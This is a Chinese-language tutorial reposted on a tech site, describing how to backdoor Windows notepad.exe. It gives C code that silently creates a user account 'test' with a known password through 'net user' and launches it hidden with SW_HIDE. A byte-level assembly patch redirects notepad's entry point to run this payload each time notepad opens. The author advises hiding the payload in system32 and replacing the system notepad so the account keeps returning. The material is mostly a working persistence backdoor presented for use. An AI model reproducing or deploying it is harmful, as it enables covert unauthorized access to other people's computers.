首页 电脑 电脑学堂 查看内容

狗尾续貂之再谈逆向工程打造隐蔽的后门

2009-2-10 02:15 594 0

摘要: 信息来源:看雪论坛文章作者:ngaut 本文测试平台:windows xp sp2, vc++6.0我很喜欢孟方明[-273]的文章,很有启发性,常常是show一种思路...
关键词: nbsp 方明 AddUser exe 程序 ExecuteAddUser notepad PUSH 用户 窗口

信息来源:看雪论坛文章作者:ngaut 本文测试平台:windows xp sp2, vc++6.0我很喜欢孟方明[-273]的文章,很有启发性,常常是show一种思路,而不仅仅是一种方法。《逆向工程打造隐蔽的后门》中的添加用户的后门,还没有做到真正的隐蔽,因为有2次会闪过dos(我也不知道改叫什么窗口,暂且叫dos吧)窗口。但是孟方明提供了思路,我等菜鸟花了数星期研究之后,小有心得,拿出来给大家分享,下面我来给出方法:开始真正的测试之前,先看下面的下面这个程序代码(相信菜鸟也可以看懂)://测试程序,作用添加一个用户test并修改密码为windows//AddUser.cpp#include <windows.h>int main(int argc, char* argv[]){system("net user test /add");system("net user test windows");system("pause"); //暂停程序,以便查看程序是否成功运行,实际应用时去掉return 0;}编译一下,将生成的程序重命名为AddUser.exe,运行(如图1)没有关系,赶紧删除test这个用户再来看看下面的代码:// ExecuteAddUser.cpp#include <windows.h>int main(int argc, char* argv[]){ShellExecute(0, "open", "AddUser.exe", "", "", SW_HIDE); //注意SW_HIDEsystem("pause");   //暂停程序,以便查看程序是否成功运行,实际应用时去掉return 0;}也编译一下,生成ExecuteAddUser.exe,现在把AddUser.exe复制到ExecuteAddUser.exe所在的目录。运行ExecuteAddUser.exe, 嘿嘿,你没有看到AddUser.exe闪过dos窗口吧。去看看系统用户,看到test用户了吧。为什么没有显示窗口呢?上面已经表示出来了这里的参数SW_HIDE就是不显示窗口的意思,详细描述请查阅MSDN。而且进程列表里面没有cmd.exe到这里我们的具体思路就已经出来了:只要把ExecuteAddUser.exe的代码嵌入到某一个程序里面(假设这里是A.exe),这样每次运行A.exe就会执行我们的AddUser.exe,如果把ExecuteAddUser.exe的代码嵌入到记事本,嘿嘿,那么这个用户就很难从机器上消失了,是不是有点强盗逻辑。想法是好的,但是要嵌入到某一个程序里面,就需要注意这里的参数SW_HIDE了,因为我们嵌入的时候,代码不能用SW_HIDE。其实SW_HIDE是微软定义的一个宏而已,我想到一个比较傻的办法来解决这个问题。在vc++的目录搜索。可能很多人没有用过系统的高级搜索功能,具体用法请看图2,终于在WINUSER.H中找到如下定义:/** ShowWindow() Commands*/#define SW_HIDE         0中间的省略。#define SW_MAX         11可以看到SW_HIDE被定义为1。问题解决了,去掉AddUser.cpp中的system("pause"); 去掉再次编译为AddUser.exe,复制到D盘(这里只是测试,实际上可能会被放到c:\windows\system32\......,藏得越深越好啊)。剩下的事情就很简单了基本上就是和孟方明的操作一样。修改如下:原来的记事本入口:01006AE0 > $ 6A 70       PUSH 7001006AE2   . 68 88180001   PUSH notepad.0100188801006AE7   . E8 BC010000   CALL notepad.01006CA8修改为:01006AE0 > $ /E9 BB120000   JMP notepad_.01007DA001006AE5   > |90         NOP01006AE6   . |90         NOP01006AE7   . |E8 BC010000   CALL notepad_.01006CA8在01007D74添加如下字符:01007D74   . 64 3A 5C 5C 4>ASCII "d:\\AddUser.exe",001007D84   . 6F 70 65 6E 0>ASCII "open",0修改01007DA0为:01007DA0   > \60         PUSHAD01007DA1   . 6A 00       PUSH 0                       ; /IsShown = 001007DA3   . 6A 00       PUSH 0                       ; |DefDir = NULL01007DA5   . 6A 00       PUSH 0                       ; |Parameters = NULL01007DA7   . 68 747D0001   PUSH notepad_.01007D74             ; |FileName = "d:\\AddUser.exe"01007DAC   . 68 847D0001   PUSH notepad_.01007D84             ; |Operation = "open"01007DB1   . 6A 00       PUSH 0                       ; |hWnd = NULL01007DB3   . 90         NOP                         ; |01007DB4   . 90         NOP                         ; |01007DB5   . 90         NOP                         ; |01007DB6   . E8 FEAB3F76   CALL SHELL32.ShellExecuteA           ; \ShellExecuteA01007DBB   . 61         POPAD01007DBC   . 6A 70       PUSH 7001007DBE   . 68 88180001   PUSH notepad_.0100188801007DC3   .^ E9 1DEDFFFF   JMP notepad_.01006AE5修改完成后保存为note_test.exe,运行,哈哈,没有看到dos窗口吧,看看系统用户吧,有个test吧,呵呵成功。现在修改路径AddUser.exe的路径吧,别忘了在记事本里修改啊,也不要忘了覆盖系统的记事本,除非别人不用记事本,否则。。。。。。呵呵.。感谢孟方明给大家带来的精彩思路。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部